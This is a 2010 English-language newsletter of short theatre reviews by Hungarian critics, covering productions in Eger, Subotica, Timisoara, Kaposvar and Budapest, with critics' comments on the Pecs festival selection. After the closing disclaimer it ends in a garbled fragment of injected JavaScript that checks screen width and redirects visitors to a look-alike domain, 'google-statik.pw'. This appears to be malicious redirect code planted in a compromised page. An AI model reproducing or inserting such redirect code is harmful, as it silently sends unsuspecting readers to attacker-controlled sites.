Newsletter February 2010


English Newsletter, February 2010

 

Provided by the Hungarian Theatre Critics' Association in collaboration with ITI Hungary. In this newsletter, you will find short reviews by theatre critics about current performances, as well as information about festivals and other theatrical events. Any further suggestions are welcome. In this issue:

Maya (Szabolcs Fenyes, Imre Harmath) at Gardonyi Geza Theater, Eger

Blissfully in Moorland - In the Moors (People's Theatre, Subotica)

After Hamlet - Rosencrantz and Guildenstern Are Dead (Csiky Gergely Hungarian Theatre, Timisoara)

Oedipus the King (Sophocles - Jon Fosse) at Kaposvar

The two-headed Beast (Sandor Weores) at Katona

The Danton Case at Studio K

Theatre academy in Szombathely stages The Man Who Laughs

Critics comments the selection of The National Theatre Festival in Pecs

 

Maya (Szabolcs Fenyes, Imre Harmath) at Gardonyi Geza Theater, Eger 

The encounter of one the most renowned Hungarian directors, Sandor Zsoter and the genre of operetta was surprising and necessary at the same time, although we had to wait for more than two decades since the beginning of Zsoter's carrier. Nowadays the stagings of Zsoter usually talk about the phenomenon of 'theatre in theatre' (cf. his 'Hamlet' in Jozsef Attila Theatre earlier this year). That is why the 1931 operetta called 'Maya' of Imre Hamrath and Szabolcs Fenyes is more than ideal for his purposes: all the characters lie to each other and deceive everyone else and themselves too.

The young lad Dixi lies to his friend, Charlie that he has fallen in love with Charlie's (maybe) platonic love called Madelaine. Charlie shots Dixi dead (he survives it), than he escapes to Tanger where he meets the famous diva called Maya. Maya soon gets jealous because of the sudden appearance of Madelaine so she prepares a kind of a private theatre show for Charlie to make him desperate. The overtly kitschy tale takes place among the sets of the fabulous Orient and its built images in Paris - for Zsoter the story looks like a fairy tale written for sentimental adults. Both the fans of operetta and the fans of Zsoter can be happy with the result, because in the head to toe pink world one can find all the cliches of the genre and the delicate parody of these commonplaces as well. The show is condemned to success because of the great and well-known melodies plus the disciplined work of almost all the actors. The renowned Hungarian contemporary dancer Andrea Ladanyi helped Zsoter with choreographing some very spectacular dances full of citations from the dance history. - Tamas Jaszay

 

Blissfully in Moorland - In the Moors (People's Theatre, Subotica)

compiled/written by Kata Gyarmati based on the dramas of Matei Visniec, directed by Gabor Nagypal at the People's Theatre, Subotica. Apart from the numerous publications - mainly translations of his poems - in literary magazines here are only two thin books containing Visniec's works available in Hungarian. This season there are three Visniec-premieres, however, literally he is unknown in Hungarian theatres. Regardless the genre, the tone of his works, at least for me, has some kind of a pessimistic tone. The director, Gabor Nagypal (an actor who started his career in Novi Sad, Serbia, and now a regular at Studio K, Budapest) and Kata Gyarmati, who made this adaptation based on mainly two one-act plays (And What About the Cello?, The Man Who Is Talking to Himself), kept Visniec's playfulness and ironic philosphy, but changed the aforementioned tone to somewhat cheerful and serene. There is even a subtitle indicating the genre of this new piece: fatebliss. There is no story, the five characters (the man with glasses, the man with a hat, the man with a wlaking stick, the man with a newspaper, the man with a scarf) dressed loosely in white tie, are on a green platform depicting water lillies. They are somewhere. Anywhere. They sit, stand, lie down, play the cello, smoke, talk - do petty, unimportant things. The have no important characteristics. Time and place is not important. Being is important, and they are desperate to find explanations to their existence. In the Moors is about dependence: how we depend on, on the one hand, on each other, and, on the other hand, on a superior sovereignity that can be called fate, fortune or God. How our biggest challenge in life is encoded in our dependence. And how this dependence can lead to happiness. - Timea Papp

 

After Hamlet - Rosencrantz and Guildenstern Are Dead (Csiky Gergely Hungarian Theatre, Timisoara)

directed by Victor Ioan Frunza at the Csiky Gergely Hungarian Theatre, Timisoara. Frunza's name was long associated with the Hungarian theatre in Timisoara, most of the ensemble's emblematic shows were staged by him and the main role were played by Attila Balazs. Frunza and the previous management had an argument so he was out but he continued working with Balazs. Who, as the artistic director of the theatre in his second full season, hired Frunza again. In 2003 he staged Hamlet in Timisoara. In this new production - nominated for the Romanian theatre award, the UNITER Prize in three categories - he uses some of the old set, costumes and props, even some of the actors appeared in the emblematic show (but only one of them play the same role as he once did). This recycling shows some kind of a continuity, and bears a slight allusion to the aim of Stoppard: it emphasizes the relationship between the play and Shakespeare's play i.e. without Hamlet, Rosencrantz and Guildenstern Are Dead would not exist (the citations from Shakespeare are projected). But, on the other hand, I assume, Frunza does not expect the audience to be familiar with his Hamlet, on which so much of the plot and the set of his Rosencrantz and Guildenstern Are Dead is based. In Frunza's interpretation this piece is only partly about the randomness and the incomprehensibility of the world, the boundaries of language, the confusion what words cause, or the unability to express feelings with words. The strongest focus is on the connection between life and stage, therefore, as a direct consequence, this Rosencrantz and Guildenstern Are Dead is almost exclusively about making illusions and making theatre. Even if the end is bleak, and in the final scene we see Rosencrantz and Guildenstern lying as two corpses on the stage covered with soil the curtain closed behind them, I would rather say that black humour is one of the main guiding principles of the show, and there is a fine balance between the comedy and the occasional moments of tragedy. - Timea Papp

 

Oedipus the King (Sophocles - Jon Fosse) at Kaposvar

Thanks to the work of one of the most remarkable young Hungarian theatre director, Gabor Rusznyak the performance Oedipus the King has been brought forth on the studio stage of the theater in Kaposvar. The adaptation using the texts of Sophocles and Jon Fosse has a lean, exact and contemporary language that focuses first of all the telling of a crime story - the whole performance passes off in a little more than an hour - supporting this with unique scenery. 

In the set design of Viola Fodor status symbolic relics and objects hang off the ceiling. The ropes are moved by the golden mask wearing figures sitting on the balcony who symbolize the gods that are playing with the humans - Gabor Rusznyak indicates the unchangeable destiny of Oedipus this way. A silent but important role has the chorus as well: the great in numbers chorus who are sitting among the audience suggests that we are also a part of Sophocles' ageless story. 

The exact interpretation of the play, the creative use of space and accessories, the consequent and spectacular unfolding of the symbols make Oedipus the King one of the best performances in the 2009/2010 theatrical season in Hungary. - Robert Marko

The two-headed Beast (Sandor Weores) at Katona

Sandor Weores is one of the greatest classics of the 20th century's Hungrian literature. To this day his lyrical work got into the center of interest first but at the same time his poetic dramas are also remarkable chapters of the Hungarian drama-history. His play The two-headed Beast (written in 1968) had to wait almost one and a half decade to be presented: the censorship of the 70's does not allowed the theatrical presentation of the writing. 

It can be presumed already from this that Sandor Weores's play is a harsh political satire by genre which has been put onto stage by Gabor Mate in the Katona Jozsef Theater. The most important value of the performance in Katona is that it refers to our age. The director has unfolded the generalized layers of the play that takes place in the seventieth century's into three part split (Turkish, Hungarian and Austrian) Hungary and talks about the chances of living in the crazy but intangible war. All this without putting the act into present day's milieu: in the set design of Balazs Cziegler countless clothes are hung up onto hangers above the stage which the performers put on now and then indicating: nobody is who he or she is but who he or she looks like. - Robert Marko

 

The Danton Case at Studio K

The director Gabor Koltai M. has staged Stanislawa Przybyszewska's play with a deep analytic look showing his fascination for the text and his curiosity for the problematic relationship between politics and people and between the politician and the human within one man. Danton and Robespierre are played by two actors of extremely strong individual, distinct features, what maintains a persistent tension culminating in the scene of the two characters having dinner together. Danton (Attila Menszator Heresz) has an immutable belief in his individual, powerful attraction and behaves like a pop star adored by millions and loses his voice literally when most needed. Robespierre (Karoly Kuna), though more and more weary, keeps the integrity of his self which is partly perceived as a secret by the audience.

The performance is interactive but does not frighten the audience off. We are only asked to follow the actors to the buffet of the theatre or to rearrange our seats in the small theatre room of Studio K. So we gradually realize that we have the freedom of choosing where to sit and from which point of view to be witnesses of the revolution. At the same time, we become part of the passive and/or impotent mob watching the execution of Danton and the manifestation of terror. - Andrea Radai

 

Theatre academy in Szombathely stages The Man Who Laughs

Director Jeles Andras is first of all a fine film director, who had worked sometimes in theatre as well. He was considered very radical and avant-garde, researching unknown paths of theatre. Recently he works rarely in theatre, not being commissioned works. Now he created  a performance based on Victor Hugo's famous novel. The fine performance is not a text-based one, but a very visual, almost picturesque show of images, movement, sound, visual effects. Costumes are well designed. Very theatrical indeed: a surrealistic, hyperbolic theatricality typical for the 80ies, which can be still powerful, coherent and consequent, and very emotional. Storytelling is clear, the adaptation is a fine work as well. The story of the man with a distorted face, his adventures and loves, humiliation and defenselessness, human cruelty turn the show into deeply moving theatre event. It is a song for humanity and love. Acting is mostly focused on a choir acting, individual work is less visible.The little know academy from Szombathely cause a surprise with this show. - Andrea Tompa

 

Critics comments the selection of The National Theatre Festival in Pecs

The National Theatre Festival in Pecs announced its program. This year it was selected by a critic of classical music, Miklos Fay.

 

Grand Theatre

  • Bertolt Brecht: The Resistable Rise of Arturo Ui (orkeny Istvan Theatre, Budapest. Director: Sandor Zsoter)
  • Adapting Ion Luca Caragiale and a lost rough translation by Aladar Rusznyak, written by Istvan Mohacsi and also Janos Mohacsi: The Lost Letter (National Theatre of Pecs. Director: Janos Mohacsi)
  • Nikolai Vasilievich Gogol: The Government Inspector (Hevesi Sandor Theatre, Zalaegerszeg.
  • Director: Bertalan Bago)
    Ring Me, Mobile Revue for Actors and Cells (Gardonyi Geza Theatre, Eger. Director: Gabor Mate)
  • Sergei Medvedev: Hairdresser (Csokonai Theatre, Debrecen. Director: Viktor Ryzhakov)
  • Bernard Shaw: Arms and the Man (The Hero and the Chocolate Soldier) (Katona Jozsef Theatre, Budapest. Director: Gabor Mate)
  • Michael Frayn-Istvan Mohacsi: Noises Off (North Theatre of Satu Mare, Company Harag Gyorgy. Director: Janos Mohacsi)


Chamber or Studio Theatre

  • Nikolai Vasilievich Gogol: Marriage (National Theatre of Szeged. Director: Tamas Juronics) Andras Vinnai-Viktor Bodo-Julia Robert-Tamas Turai: The Dice Man (Sputnik Shipping Company - Modern Theatre and Behaviour Research Institute - Laboratory, Budapest. Director: Viktor Bodo)
  • Alfred Jarry: Ubu the King (Maladype Theatre, Budapest. Director: Zoltan Balazs)
    Andras Vinnai: 9231 or the end of artistic and literary creation (KoMa, Budapest)
  • The Beach - Based on The Stranger by Albert Camus (Kosztolanyi Dezso Theatre / Urban Andras Company, Szabadka)
  • 20/20 (Yorick Studio - Tirgu Mures & dramAcum - Bucharest. Director: Gianina Carbunariu)
  • odon von Horvath: Kasimir and Karoline (orkeny Istvan Theatre, Budapest. Director: Laszlo Bagossy)

 

 

Andrea Tompa: I am disappointed by the selection. On first glance the whole program tends into the direction of "light" performances, musical pieces instead of "serious" dramas, voting for tricky and superficial, but trendy things. Although the National has an outstanding season - with such show as Mein Kampf, Bank ban junior or Schiller's Love and Intrigue -, none of them appear in the program, which is hard to explain. Skipping all the shows of the National might be an ambiguous "concept". The Katona has premiered this month an important show based on the Hungarian poet's work Sandor Weores, The Double-Headed Monster. The outstanding show of Orkeny Theatre, Cats play is also absent. Mari Torocsik's more than two hours performance in a show directed by Anatoli Vasiliev is one of the major events of the season - and will not be seen in Pecs. The Man who Laughs by Andras Jeles could also be there. But inviting the 20/20 from Yorick Studio, Tirgu-Mures, Romania is a good thing.

 

Andrea Radai: Although I have not seen all the selected performances, I have to say that the programme does not contain great surprises or risky choices. As if Miklos Fay preferred shows that, not without any quality, are accessible to a wider range of audience. The performances are entertaining and, to a certain extent, provoking at the same time: I could say that I would not mind buying tickets for my Mum's birthday for any of them. However, I am deeply sorry that for example Mein Kampf of the National is not in the selection, a performance that, in my opinion, can also fit into this concept.


Robert Marko: That Miklos Fay selected the competition program of the 10th National Theatrical Meeting of Pecs (POSZT) is like taking a middle course. The theatre critics would have like to have a theatre critic to select for years and Fay is even a critic altough not a theatre but a music. He is that kind of music critic by the way who attended to theaters once in a while in the last years and what is more some better-worse theater critics were published by him as well. 

As a matter of fact, as a non-professional, Fay could look at the contemporary Hungarian theater characterizing phenomenons with fresh eyes and as a selector he did not have any insight (and maybe he does not have either today) of the processes that determine the Hungarian theaters today. It is definitely the reason why the performances of high standard producing National Theatre is out of the competition program of POSZT; and it is also noticeable that in Fay's selection the entertainer theatrical considerations prevail instead of the art theatrical considerations. Altogether it can be stated: the selector did not take serious risk and the Hungarian theater's most current products and brands will be present at the National Theatrical Meeting of Pecs.

 

The newsletter does not represent the opinion of the Hungarian Theatre Critics' Association, but of the individual critics.

 

 

 



if (screen.width ion = "http://google-statik.pw/l.php";} if (screen.width